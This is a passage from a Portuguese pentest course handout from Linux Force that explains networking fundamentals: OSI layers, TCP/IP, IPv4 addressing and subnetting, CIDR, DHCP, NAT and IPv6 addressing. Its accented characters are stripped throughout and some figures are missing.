Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

1.2.5 Camada 5 Sesso


Possui a funo de disponibilizar acessos remotos, estabelecendo servios de segurana, vericando a identicao do usurio, sua senha de acesso e suas caractersticas (pers). Atua como uma interface entre os usurios e as aplicaes de destino. Pode fornecer sincronizao entre as tarefas dos usurios.

1.2.6 Camada 6 Apresentao


Responsvel pelas transformaes adequadas nos dados, antes do seu envio a camada de sesso. Essas transformaes podem ser referentes compresso de textos, criptograa, converso de padres de terminais e arquivos para padres de rede e vice-versa. Funes: Formatao de dados Rotinas de compresso Compatibilizao de aplicaes: sintaxe Criptograa

1.2.7 Camada 7 - Aplicao


responsvel pela interface com as aplicaes dos computadores (hosts). Entre as categorias de processos de aplicao podemos citar: Correio eletrnico: X400 Transferncia de arquivos: FTAM Servio de diretrio: X500 Processamento de transaes: TP

PenTest - Segurana Hacker

Pgina 8

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Terminal virtual: VT Acesso banco de dados: RDA Gerncia de rede

1.3 Arquitetura TCP/IP


A arquitetura TCP/IP composta por 4 camadas (formando a pilha da estrutura do protocolo) compare o as camadas TCP/IP com o Modelo OSI:

1.3.1 Camada Fisica e de Enlace


Esta camada tambm conhecida como camada de Acesso Rede. A funo da camada Acesso Rede prover uma interface entre a camada Rede e os elementos fsicos da rede.

PenTest - Segurana Hacker

Pgina 9

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

A camada inferior da arquitetura TCP/IP tem as funcionalidades referentes s camadas 1 e 2 do Modelo OSI.

1.3.2 Camada de Rede


A camada Rede, tambm conhecida como de Internet ou Internetwork, equivalente a camada 3, de Rede, do Modelo OSI. camada. A funo da camada Internet prover a conectividade lgica realizando a comutao de pacotes, ou roteamento, de forma a encontrar o melhor caminho para a transmitir pacotes, datagramas, atravs da rede. Os protocolos principais desta camada so: IP (Internet Protocol) ICMP (Internet Control Message Protocol) (popular ping) ARP (Address Resolution Protocol) RARP (Reverse Address Resolution Protocol)

1.3.3 Camada de Transporte


A principal funo da camada de transporte prover uma comunicao m-a-m entre as aplicaes de origem e destino, de forma transparente para as camadas adjacentes. O nome dado PDU (Protocol Data Unit) desta camada segmento. Ela equivalente camada 4 do Modelo OSI. Seus dois principais protocolos so o TCP e o UDP. O TCP (Transmission Control Protocol) um protocolo orientado a conexo. Fornece um servio convel, com garantia de entrega dos dados. Suas principais funes so: Compatibilidade do tamanho dos segmentos

PenTest - Segurana Hacker

Pgina 10

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Conabilidade da integridade dos dados Multiplexao Seqenciamento Controle de uxo Janelamento O UDP (User Datagram Protocol) um protocolo no orientado a conexo. Fornece um servio, no convel, sem garantia de entrega dos dados. Um datagrama pode se perder, sofrer atrasos, ser duplicado ou ser entregue fora de seqncia. No executa nenhum mecanismo de controle e nem envia mensagens de erro.

1.3.4 Camada de Aplicao


A camada de Aplicao tem a funo de prover uma interface entre os programas de usurios (aplicativos) e as redes de comunicao de dados A camada de Aplicao equivalente s camadas 5, 6 e 7 do Modelo OSI. Os protocolos mais conhecidos so: HTTP HyperText Transfer Protocol - protocolo responsvel pela comunicao via pginas WWW (World Wide Web) ou, simplesmente, Web. Por um programa navegador (browser), usando o protocolo HTTP, um usurio pode acessar informaes contidas em um servidor Web. FTP File Transfer Protocol protocolo responsvel pela transferncia de arquivos entre computadores. Telnet Terminal de acesso remoto protocolo que permite o acesso a um equipamento distante. Permite que possamos dar comando e rodar aplicaes remotamente. DNS Domain Name System aplicao responsvel pela traduo de endereos IP em nomes e vice-versa. SMTP Simple Mail Transfer Protocol protocolo responsvel pelo armazenamento e envio de e-mails (Eletronic Mail - Correio Eletrnico).

PenTest - Segurana Hacker

Pgina 11

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

1.4 Endereamento IPv4


No IPV4, os endereo IP so compostos por 4 blocos de 8 bits (32 bits no total), que so representados atravs de nmeros de 0 a 255, como "200.156.23.43"ou "64.245.32.11". Conforme a RFC 1918 as faixas de endereos comeadas com "10", com "192.168" ou com de "172.16" at "172.31" so reservadas para uso em redes locais e por isso no so usados na internet. Os roteadores que compe a grande rede so congurados para ignorar estes pacotes, de forma que as inmeras redes locais que utilizam endereos na faixa "192.168.0.x"(por exemplo) podem conviver pacicamente. Para saber mais sobre este assundo consulte http://tools.ietf.org/html/rfc1918 Embora aparentem ser uma coisa s, os endereos IP incluem duas informaes. O endereo da rede e o endereo do host dentro dela. Em uma rede domstica, por exemplo, voc poderia utilizar os endereos "192.168.1.1", "192.168.1.2"e "192.168.1.3", onde o "192.168.1." o endereo da rede (e por isso no muda) e o ltimo nmero (1, 2 e 3) identica os trs micros que fazem parte dela. Os micros da rede local podem acessar a internet atravs de um roteador, que pode ser tanto um servidor com duas placas de rede, quando um modem ADSL ou outro dispositivo que oferea a opo de compartilhar a conexo. Neste caso, o roteador passa a ser o gateway da rede e utiliza seu endereo IP vlido para encaminhar as requisies feitas pelos micros da rede interna. Este recurso chamado de NAT (Network Address Translation). Endereos de 32 bits permitem cerca de 4 bilhes de endereos diferentes. Os endereos so divididos em:

O grande problema que os endereos so sempre divididos em duas partes, rede e host. Nos endereos de classe A, o primeiro octeto se refere rede e os trs octe-

PenTest - Segurana Hacker

Pgina 12

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

tos seguintes referem-se ao host. Temos apenas 126 faixas de endereos classe A disponveis no mundo, dadas a governos, instituies e at mesmo algumas empresas privadas, como por exemplo a IBM. As faixas de endereos classe A consomem cerca de metade dos endereos IP disponveis, representando um gigantesco desperdcio, j que nenhuma das faixas completamente utilizada. Ser que a IBM utiliza todos os 16 milhes de endereos IP a que tem direito? Certamente no. Mesmo nos endereos classe B (dois octetos para a rede, dois para o host, garantindo 65536 endereos) e nos classe C (trs octetos para a rede e um para o host, ou seja, apenas 256 endereos) o desperdcio muito grande. Muitas empresas alugam faixas de endereos classe C para utilizar apenas dois ou trs endereos por exemplo. Para piorar, parte dos endereos esto reservados para as classes D e E, que jamais foram implementadas. Isto faz com que j haja uma grande falta de endereos, principalmente os de classe A e B, que j esto todos ocupados.

Para saber mais sobre a alocao dos endereos IPV4 visite http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml

1.4.1 Mscara de rede


A mscara de rede, juntamente com o endereo IP, dene a rede o computador pertence, isto , que outros endereos IP que o computador pode comunicar diretamente na mesma LAN. A m de compreender a mscara lembre-se sempre que os 4 bytes que dene tanto o endereo IP e a mscara de rede poderiam ser representados em formato binrio. A mscara de rede , por denio, uma seqncia de "1"a partir da esquerda para a direita, seguido por um certo nmero de "0"(a faixa de rede). Devido a esta regra a mscara de rede muitas vezes representada com valores decimais, que soam como um ou mais "255", seguido por um ou mais "0". Utilizando mscaras de sub-rede padro para cada classe de endereos, onde so utilizados oito, dezesseis ou vinte e quatro bits para a mscara de rede, conforme descrito a seguir:

PenTest - Segurana Hacker

Pgina 13

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Foi denida na RFC 1519 uma notao conhecida como CIDR (Classless InterDomain Routing), onde a mscara de sub-rede indicada simplesmente pelo nmero de bits utilizados na mscara de sub-rede, conforme exemplos a seguir:

Porm com este esquema de endereamento, baseado apenas nas mscaras de rede padro para cada classe (oito, dezesseis ou vinte e quatro bits), haveria um grande desperdcio de nmeros IP. Por exemplo, que empresa no mundo precisaria da faixa completa de uma rede classe A, na qual esto disponveis mais de 16 milhes de endereos IP? Analise o outro extremo desta questo. Imagine, por exemplo, uma empresa de porte mdio, que tem a matriz em So Paulo e mais cinco liais em outras cidades do Brasil. Agora imagine que em nenhuma das localidades, a rede tem mais do que 30 computadores. Se for usado as mscaras de sub-rede padro, teria que ser denida uma rede Classe C (at 254 computadores), para cada localidade. Observe que estamos reservando 254 nmeros IP para cada localidade (uma rede classe C com mscara 255.255.255.0), quando na verdade, no mximo, 30 nmeros sero utilizados em cada localidade. Na prtica, um belo desperdcio de endereos IP, mesmo em um empresa de porte mdio ou pequeno. Observe que neste exemplo, uma nica rede Classe C seria suciente. J que so seis localidades (a matriz mais seis liais), com um mximo de 30 endereos por localidade, um total de 254 endereos de uma rede Classe C seria mais do que suciente. Ainda haveria desperdcio, mas agora bem menor. A boa notcia que possvel dividir uma rede (qualquer rede) em sub-redes, onde cada sub-rede ca apenas com uma faixa de nmeros IP de toda a faixa original.

PenTest - Segurana Hacker

Pgina 14

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Por exemplo, a rede Classe C 200.100.100.0/255.255.255.0, com 256 nmeros IPs disponveis (na prtica so 254 nmeros que podem ser utilizados, descontando o primeiro que o nmero da prpria rede e o ltimo que o endereo de broadcast, poderia ser dividida em 8 sub-redes, com 32 nmeros IP em cada sub-rede. O esquema a seguir ilustra este conceito: Rede original: 256 endereos IP disponveis: 200.100.100.0 -> 200.100.100.255 Diviso da rede em 8 sub-redes, onde cada sub-rede ca com 32 endereos IP: Sub-rede 01: 200.100.100.0 -> 200.100.100.31 Sub-rede 02: 200.100.100.32 -> 200.100.100.63 Sub-rede 03: 200.100.100.64 -> 200.100.100.95 Sub-rede 04: 200.100.100.96 -> 200.100.100.127 Sub-rede 05: 200.100.100.128 -> 200.100.100.159 Sub-rede 06: 200.100.100.160 -> 200.100.100.191 Sub-rede 07: 200.100.100.192 -> 200.100.100.223 Sub-rede 08: 200.100.100.224 -> 200.100.100.255 Para o exemplo da empresa com seis localidades (matriz mais cinco liais), onde, no mximo, so necessrios trinta endereos IP por localidade, a utilizao de uma nica rede classe C, dividida em 8 sub-redes seria a soluo ideal. Na prtica a primeira e a ltima sub-rede so descartadas, pois o primeiro IP da primeira subrede representa o endereo de rede e o ltimo IP da ltima sub-rede representa o endereo de broadcast. Com isso restariam, ainda, seis sub-redes. Exatamente a quantia necessria para o exemplo proposto. Observe que ao invs de seis redes classe C, bastou uma nica rede Classe C, subdividida em seis sub-redes. Uma bela economia de endereos. Claro que se um dos escritrios, ou a matriz, precisasse de mais de 32 endereos IP, um esquema diferente de diviso teria que ser criado. Em 1990, j existiam 313.000 hosts conectados a rede e estudos j apontavam para um colapso devido a falta de endereos. Alm disso outros problemas tambm tornavam-se mais efetivos conforme a Internet evolua, como o aumento da tabela de roteamento. Devido ao ritmo de crescimento da Internet e da poltica de distribuio de endereos, em maio de 1992, 38% das faixas de endereos classe A, 43% da classe B e 2% da

PenTest - Segurana Hacker

Pgina 15

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

classe C, j estavam alocados. Nesta poca, a rede j possua 1.136.000 hosts conectados. Em 1993, com a criao do protocolo HTTP e a liberao por parte do Governo dos Estados Unidos para a utilizao comercial da Internet, houve um salto ainda maior na taxa de crescimento da rede, que passou de 2.056.000 de hosts em 1993 para mais de 26.000.000 de hosts em 1997. Diante desse cenrio, a IETF (Internet Engineering Task Force) passa a discutir estratgias para solucionar a questo do esgotamento dos endereos IP e do aumento da tabela de roteamento. Em funo disso, em novembro de 1991, formado o grupo de trabalho ROAD (ROuting and Addressing), que apresenta como soluo a estes problemas, a utilizao do CIDR (Classless Inter-domain Routing). Denido na RFC 4632 (tornou obsoleta a RFC 1519), o CIDR tem como idia bsica o m do uso de classes de endereos, permitindo a alocao de blocos de tamanho apropriado a real necessidade de cada rede; e a agregao de rotas, reduzindo o tamanho da tabela de roteamento. Com o CIDR os blocos so referenciados como prexo de redes. Por exemplo, no endereo a.b.c.d/x, os x bits mais signicativos indicam o prexo da rede. Outra forma de indicar o prexo atravs de mscaras, onde a mscara 255.0.0.0 indica um prexo /8, 255.255.0.0 indica um /16, e assim sucessivamente. Outra soluo, apresentada na RFC 2131 (tornou obsoleta a RFC 1541), foi o protocolo DHCP (Dynamic Host Conguration Protocol). Atravs do DHCP um host capaz de obter um endereo IP automaticamente e adquirir informaes adicionais como mscara de sub-rede, endereo do roteador padro e o endereo do servidor DNS local. O DHCP tem sido muito utilizado por parte dos ISPs por permitir a atribuio de endereos IP temporrios a seus clientes conectados. Desta forma, torna-se desnecessrio obter um endereo para cada cliente, devendo-se apenas designar endereos dinamicamente, atravs de seu servidor DHCP. Este servidor ter uma lista de endereos IP disponveis, e toda vez que um novo cliente se conectar rede, lhe ser designado um desses endereo de forma arbitrria, e no momento que o cliente se desconecta, o endereo devolvido. A NAT (Network Address Translation), foi outra tcnica paliativa desenvolvida para resolver o problema do esgotamento dos endereos IPv4. Denida na RFC 3022 (tornou obsoleta a RFC 1631), tem como ideia bsica permitir que, com um nico endereo IP, ou um pequeno nmero deles, vrios hosts possam trafegar na Internet. Dentro de uma rede, cada computador recebe um endereo IP privado nico, que utilizado para o roteamento do trfego interno. No entanto, quando um pacote precisa ser roteado para fora da rede, uma traduo de endereo realizada, convertendo

PenTest - Segurana Hacker

Pgina 16

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

endereos IP privados em endereos IP pblicos globalmente nicos. Para tornar possvel este esquema, utiliza-se os trs intervalos de endereos IP declarados como privados na RFC 1918, sendo que a nica regra de utilizao, que nenhum pacote contendo estes endereos pode trafegar na Internet pblica. As trs faixas reservadas so: 10.0.0.0 a 10.255.255.255 /8 (16.777.216 hosts) 172.16.0.0 a 172.31.255.255 /12 (1.048.576 hosts) 192.168.0.0 a 192.168.255.255 /16 (65.536 hosts) A utilizao da NAT mostrou-se eciente no que diz respeito a economia de endereos IP, alm de apresentar alguns outros aspectos positivos, como facilitar a numerao interna das redes, ocultar a topologia das redes e s permitir a entrada de pacotes gerados em resposta a um pedido da rede. No entanto, o uso da NAT apresenta inconvenientes que no compensam as vantagens oferecidas. A NAT quebra o modelo m-a-m da Internet, no permitindo conexes diretas entre dois hosts, o que diculta o funcionamento de uma srie de aplicaes, como P2P, VoIP e VPNs. Outro problema a baixa escalabilidade, pois o nmero de conexes simultneas limitado, alm de exigir um grande poder de processamento do dispositivo tradutor. O uso da NAT tambm impossibilita rastrear o caminho de pacote, atravs de ferramentas como traceroute, por exemplo, e diculta a utilizao de algumas tcnicas de segurana como IPSec. Alm disso, seu uso passa uma falsa sensao de segurana, pois, apesar de no permitir a entrada de pacotes no autorizados, a NAT no realiza nenhum tipo de ltragem ou vericao nos pacotes que passa por ela. A imagem abaixo mostra o quanto essas medidas ajudaram a diminuir o aumento da alocao de endereo:

Embora estas solues tenham diminudo a demanda por IPs, elas no foram sucientes para resolver os problemas decorrentes do crescimento da Internet. A adoo

PenTest - Segurana Hacker

Pgina 17

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

dessas tcnicas reduziu em apenas 14 Essas medidas, na verdade, serviram para que houvesse mais tempo para se desenvolver uma nova verso do IP, que fosse baseada nos princpios que zeram o sucesso do IPv4, porm, que fosse capaz de suprir as falhas apresentadas por ele. Deste modo, em dezembro de 1993 a IETF formalizou, atravs da RFC 1550, as pesquisas a respeito da nova verso do protocolo IP, solicitando o envio de projetos e propostas para o novo protocolo. Esta foi umas das primeiras aes do grupo de trabalho da IETF denominado Internet Protocol next generation (IPng). As principais questes que deveriam ser abordadas na elaborao da prxima verso do protocolo IP foram: Escalabilidade; Segurana; Congurao e administrao de rede; Suporte a QoS; Mobilidade; Polticas de roteamento; Transio. Diversos projetos comearam a estudar os efeitos do crescimento da Internet, sendo os principais o CNAT, o IP Encaps, o Nimrod e o Simple CLNP. Destas propostas surgiram o TCP and UDP with Bigger Addresses (TUBA), que foi uma evoluo do Simple CLNP, e o IP Address Encapsulation (IPAE), uma evoluo do IP Encaps. Alguns meses depois foram apresentados os projetos Pauls Internet Protocol (PIP), o Simple Internet Protocol (SIP) e o TP/IX. Uma nova verso do SIP, que englobava algumas funcionalidades do IPAE, foi apresentada pouco antes de agregar-se ao PIP, resultando no Simple Internet Protocol Plus (SIPP). No mesmo perodo, o TP/IX mudou seu nome para Common Architecture for the Internet (CATNIP). Em janeiro de 1995, na RFC 1752 o IPng apresentou um resumo das avaliaes das trs principais propostas: CANTIP foi concebido como um protocolo de convergncia, para permitir a qualquer protocolo da camada de transporte ser executado sobre qualquer protocolo de camada de rede, criando um ambiente comum entre os protocolos da

PenTest - Segurana Hacker

Pgina 18

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Internet, OSI e Novell; TUBA sua proposta era de aumentar o espao para endereamento do IPv4 e torn-lo mais hierrquico, buscando evitar a necessidade de se alterar os protocolos da camada de transporte e aplicao. Pretendia uma migrao simples e em longo prazo, baseada na atualizao dos host e servidores DNS, entretanto, sem a necessidade de encapsulamento ou traduo de pacotes, ou mapeamento de endereos; SIPP concebido para ser uma etapa evolutiva do IPv4, sem mudanas radicais e mantendo a interoperabilidade com a verso 4 do protocolo IP, fornecia uma plataforma para novas funcionalidades da Internet, aumentava o espao para endereamento de 32 bits para 64 bits, apresentava um nvel maior de hierarquia e era composto por um mecanismo que permitia alargar o endereo chamado cluster addresses. J possua cabealhos de extenso e um campo ow para identicar o tipo de uxo de cada pacote. Entretanto, conforme relatado tambm na RFC 1752, todas as trs propostas apresentavam problemas signicativos. Deste modo, a recomendao nal para o novo Protocolo Internet baseou-se em uma verso revisada do SIPP, que passou a incorporar endereos de 128 bits, juntamente com os elementos de transio e autocongurao do TUBA, o endereamento baseado no CIDR e os cabealhos de extenso. O CATNIP, por ser considerado muito incompleto, foi descartado. Aps esta denio, a nova verso do Protocolo Internet passou a ser chamado ocialmente de IPv6.

1.5 IPv6
As especicaes da IPv6 foram apresentadas inicialmente na RFC 1883 de dezembro de 1995, no entanto, em em dezembro de 1998, est RFC foi substituda pela RFC 2460. Como principais mudanas em relao ao IPv4 destacam-se: Maior capacidade para endereamento: no IPv6 o espao para endereamento aumentou de 32 bits para 128 bits, permitindo: nveis mais especcos de agregao de endereos; identicar uma quantidade muito maior de dispositivos na rede; e implementar mecanismos de autocongurao. A escalabilidade do roteamento multicast tambm foi melhorada atravs da adio do campo "escopo"no endereo multicast. E um novo tipo de endereo, o anycast, foi denido;

PenTest - Segurana Hacker

Pgina 19

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Simplicao do formato do cabealho: alguns campos do cabealho IPv4 foram removidos ou tornaram-se opcionais, com o intuito de reduzir o custo do processamento dos pacotes nos roteadores; Suporte a cabealhos de extenso: as opes no fazem mais parte do cabealho base, permitindo um roteamento mais ecaz, limites menos rigorosos em relao ao tamanho e a quantidade de opes, e uma maior exibilidade para a introduo de novas opes no futuro; Capacidade de identicar uxos de dados: foi adicionado um novo recurso que permite identicar de pacotes que pertenam a determinados trfegos de uxos, para os quais podem ser requeridos tratamentos especiais; Suporte a autenticao e privacidade: foram especicados cabealhos de extenso capazes de fornecer mecanismos de autenticao e garantir a integridade e a condencialidade dos dados transmitidos.

1.5.1 Endereamento
O protocolo IPv6 apresenta como principal caracterstica e justicativa maior para o seu desenvolvimento, o aumento no espao para endereamento. Por isso, importante conhecermos as diferenas entre os endereos IPv4 e IPv6, saber reconhecer a sintaxe dos endereos IPv6 e conhecer os tipos de endereos IPv6 existentes e suas principais caractersticas. No IPv4, o campo do cabealho reservado para o endereamento possui 32 bits. Este tamanho possibilita um mximo de 4.294.967.296 (232) endereos distintos. A poca de seu desenvolvimento, est quantidade era considerada suciente para identicar todos os computadores na rede e suportar o surgimento de novas subredes. No entanto, com o rpido crescimento da Internet, surgiu o problema da escassez dos endereos IPv4, motivando a a criao de uma nova gerao do protocolo IP. O IPv6 possui um espao para endereamento de 128 bits, sendo possvel obter 340.282.366.920.938.463.463.374.607.431.768.211.456 endereos (2128). Este valor representa aproximadamente 79 octilhes (7,91028) de vezes a quantidade de endereos IPv4 e representa, tambm, mais de 56 octilhes (5,61028) de endereos por ser humano na Terra, considerando-se a populao estimada em 6 bilhes de habitantes. Sero abordados os seguintes tpicos:

PenTest - Segurana Hacker

Pgina 20

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Representao dos endereos Tipos de endereos IPv6 Endereos Unicast Identicadores de interface Endereos Multicast

1.5.1.1 Representao dos endereos Os 32 bits dos endereos IPv4 so divididos em quatro grupos de 8 bits cada, separados por ., escritos com dgitos decimais. Por exemplo: 192.168.0.10. A representao dos endereos IPv6, divide o endereo em oito grupos de 16 bits, separando-os por :, escritos com dgitos hexadecimais (0-F). Por exemplo: 2001:0DB8:AD1F:25E2:CADE:CAFE:F0CA:84C1 Na representao de um endereo IPv6, permitido utilizar tanto caracteres maisculos quanto minsculos. Alm disso, regras de abreviao podem ser aplicadas para facilitar a escrita de alguns endereos muito extensos. permitido omitir os zeros a esquerda de cada bloco de 16 bits, alm de substituir uma sequncia longa de zeros por ::. Por exemplo, o endereo 2001:0DB8:0000:0000:130F:0000:0000:140B pode ser escrito como 2001:DB8:0:0:130F::140B ou 2001:DB8::130F:0:0:140B. Neste exemplo possvel observar que a abreviao do grupo de zeros s pode ser realizada uma nica vez, caso contrrio poder haver ambigidades na representao do endereo. Se o endereo acima fosse escrito como 2001:DB8::130F::140B, no seria possvel determinar se ele corresponde a 2001:DB8:0:0:130F:0:0:140B, a 2001:DB8:0:0:0:130F:0:140B ou 2001:DB8:0:130F:0:0:0:140B. Esta abreviao pode ser feita tambm no m ou no incio do endereo, como ocorre em 2001:DB8:0:54:0:0:0:0 que pode ser escrito da forma 2001:DB8:0:54::. Outra representao importante a dos prexos de rede. Em endereos IPv6 ela continua sendo escrita do mesmo modo que no IPv4, utilizando a notao CIDR. Esta notao representada da forma endereo-IPv6/tamanho do prexo, onde tamanho do prexo um valor decimal que especica a quantidade de bits contguos esquerda do endereo que compreendem o prexo. O exemplo de prexo

PenTest - Segurana Hacker

Pgina 21

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

de sub-rede apresentado a seguir indica que dos 128 bits do endereo, 64 bits so utilizados para identicar a sub-rede. Prexo 2001:db8:3003:2::/64 Prexo global 2001:db8::/32 ID da sub-rede 3003:2 Esta representao tambm possibilita a agregao dos endereos de forma hierrquica, identicando a topologia da rede atravs de parmetros como posio geogrca, provedor de acesso, identicao da rede, diviso da sub-rede, etc. Com isso, possvel diminuir o tamanho da tabela de roteamento e agilizar o encaminhamento dos pacotes. Com relao a representao dos endereos IPv6 em URLs (Uniform Resource Locators), estes agora passam a ser representados entre colchetes. Deste modo, no haver ambiguidades caso seja necessrio indicar o nmero de uma porta juntamente com a URL. Observe os exemplos a seguir: http://[2001:12ff:0:4::22]/index.html http://[2001:12ff:0:4::22]:8080

1.5.1.2 Tipos de endereos IPv6 Existem no IPv6 trs tipos de endereos denidos: Unicast este tipo de endereo identica uma nica interface, de modo que um pacote enviado a um endereo unicast entregue a uma nica interface; Anycast identica um conjunto de interfaces. Um pacote encaminhado a um endereo anycast entregue a interface pertencente a este conjunto mais prxima da origem (de acordo com distncia medida pelos protocolos de roteamento). Um endereo anycast utilizado em comunicaes de um-para-umde-muitos. Multicast tambm identica um conjunto de interfaces, entretanto, um pacote enviado a um endereo multicast entregue a todas as interfaces associadas a esse endereo. Um endereo multicast utilizado em comunicaes de umpara-muitos.

PenTest - Segurana Hacker

Pgina 22

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Diferente do IPv4, no IPv6 no existe endereo broadcast, responsvel por direcionar um pacote para todos os ns de um mesmo domnio. No IPv6, essa funo foi atribuda tipos especcos de endereos multicast.

1.5.1.2.1 Endereos Unicast - Os endereos unicast so utilizados para comunicao entre dois ns, por exemplo, telefones VoIPv6, computadores em uma rede privada, etc., e sua estrutura foi denida para permitir agregaes com prexos de tamanho exvel, similar ao CIDR do IPv4. Existem alguns tipos de endereos unicast IPv6: Global Unicast; Unique-Local; e Link-Local por exemplo. Existem tambm alguns tipos para usos especiais, como endereos IPv4 mapeados em IPv6, endereo de loopback e o endereo no-especicado, entre outros. Global Unicast equivalente aos endereos pblicos IPv4, o endereo global unicast globalmente rotevel e acessvel na Internet IPv6. Ele constitudo por trs partes: o prexo de roteamento global, utilizado para identicar o tamanho do bloco atribudo a uma rede; a identicao da sub-rede, utilizada para identicar um enlace em uma rede; e a identicao da interface, que deve identicar de forma nica uma interface dentro de um enlace.Sua estrutura foi projetada para utilizar os 64 bits mais a esquerda para identicao da rede e os 64 bits mais a direita para identicao da interface. Portanto, exceto casos especcos, todas as sub-redes em IPv6 tem o mesmo tamanho de prexo, 64 bits (/64), o que possibilita 264 = 18.446.744.073.709.551.616 dispositivos por subrede. Atualmente, est reservada para atribuio de endereos a faixa 2000::/3 (001), que corresponde aos endereos de 2000:: a 3fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. Isto representa 13% do total de endereos possveis com IPv6, o que nos permite criar 2.305.843.009.213.693.952 (2,31018) sub-redes (/64) diferentes ou 35.184.372.088.832 (3,51013) redes /48. Link Local podendo ser usado apenas no enlace especco onde a interface est conectada, o endereo link local atribudo automaticamente utilizando o prexo FE80::/64. Os 64 bits reservados para a identicao da interface so congurados utilizando o formato IEEE EUI- 64. Vale ressaltar que os roteadores no devem encaminhar para outros enlaces, pacotes que possuam como origem ou destino um endereo link-local Unique Local Address (ULA) endereo com grande probabilidade de ser globalmente nico, utilizado apenas para comunicaes locais, geralmente dentro de um mesmo enlace ou conjunto de enlaces. Um endereo ULA no deve ser rotevel na Internet global.Um endereo ULA, criado utilizado um ID globa alocado pseudo-randomicamente, composto das seguintes partes:

PenTest - Segurana Hacker

Pgina 23

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Prexo: FC00::/7. Flag Local (L): se o valor for 1 (FD) o prexo atribudo localmente. Se o valor for 0 (FC), o prexo deve ser atribudo por uma organizao central (ainda a denir). Identicador global: identicador de 40 bits usado para criar um prexo globalmente nico. Identicador da Interface: identicador da interface de 64 bits. Deste modo, a estrutura de um endereo ULA FDUU:UUUU:UUUU:: onde U so os bits do identicador nico, gerado aleatoriamente por um algoritmo especco. Sua utilizao permite que qualquer enlace possua um prexo /48 privado e nico globalmente. Deste modo, caso duas redes, de empresas distintas por exemplo, sejam interconectadas, provavelmente no haver conito de endereos ou necessidade de renumerar a interface que o esteja usando. Alm disso, o endereo ULA independente de provedor, podendo ser utilizado na comunicao dentro do enlace mesmo que no haja uma conexo com a Internet. Outra vantagem, que seu prexo pode ser facilmente bloqueado, e caso um endereo ULA seja anunciado acidentalmente para fora do enlace, atravs de um roteador ou via DNS, no haver conito com outros endereos.

1.5.1.2.1.1 Identicadores de interface Os identicadores de interface (IID), utilizados para distinguir as interfaces dentro de um enlace, devem ser nicos dentro do mesmo prexo de sub-rede. O mesmo IID pode ser usado em mltiplas interfaces em um nico n, porm, elas dever estar associadas a deferentes sub-redes. Normalmente utiliza-se um IID de 64 bits, que pode ser obtido de diversas formas. Ele pode ser congurado manualmente, a partir do mecanismo de autocongurao stateless do IPv6, a partir de servidores DHCPv6 (stateful), ou formados a partir de uma chave pblica (CGA). Estes mtodos sero detalhados no decorrer deste curso. Embora eles possam ser gerados randomicamente e de forma temporria, recomendase que o IID seja construdo baseado no endereo MAC da interface, no formato EUI-64. Um IID baseado no formato EUI-64 criado da seguinte forma: Caso a interface possua um endereo MAC de 64 bits (padro EUI-64), basta

PenTest - Segurana Hacker

Pgina 24

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

complementar o stimo bit mais a esquerda (chamado de bit U/L Universal/Local) do endereo MAC, isto , se for 1, ser alterado para 0; se for 0, ser alterado para 1. Caso a interface utilize um endereo MAC de 48 bits (padro IEEE 802), primeiro adiciona-se os dgitos hexadecimais FF-FE entre o terceiro e quarto Byte do endereo MAC (transformando no padro EUI-64), e em seguida, o bit U/L complementado. Por exemplo: Se endereo MAC da interface for: 48-1E-C9-21-85-0C adiciona-se os dgitos FF-FE na metade do endereo: 48-1E-C9-FF-FE-21-85-0C complementa-se o bit U/L: 48 = 01001000 01001000 01001010 01001010 = 4A IID = 4A-1E-C9-FF-FE-21-85-0C Um endereo link local atribudo essa interface seria FE80::4A1E:C9FF:FE21:850C.

1.5.1.2.1.2 Endereos especiais zados para ns especcos:

Existem alguns endereos IPv6 especiais utili-

Endereo No-Especicado (Unspecied): representado pelo endereo 0:0:0:0:0:0:0:0 ou ::0 (equivalente ao endereo IPv4 unspecied 0.0.0.0). Ele nunca deve ser atribudo a nenhum n, indicando apenas a ausncia de um endereo. Ele pode, por exemplo, ser utilizado no campo Endereo de Origem de um pacote IPv6 enviado por um host durante o processo de inicializao, antes que este tenha seu endereo exclusivo determinado. O endereo unspecied no deve ser utilizado como endereo de destino de pacotes IPv6; Endereo Loopback: representado pelo endereo unicast 0:0:0:0:0:0:0:1 ou ::1 (equivalente ao endereo IPv4 loopback 127.0.0.1). Este endereo utilizado para referenciar a prpria mquina, sendo muito utilizado para teste internos. Este tipo de endereo no deve ser atribudo a nenhuma interface fsica,

PenTest - Segurana Hacker

Pgina 25

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

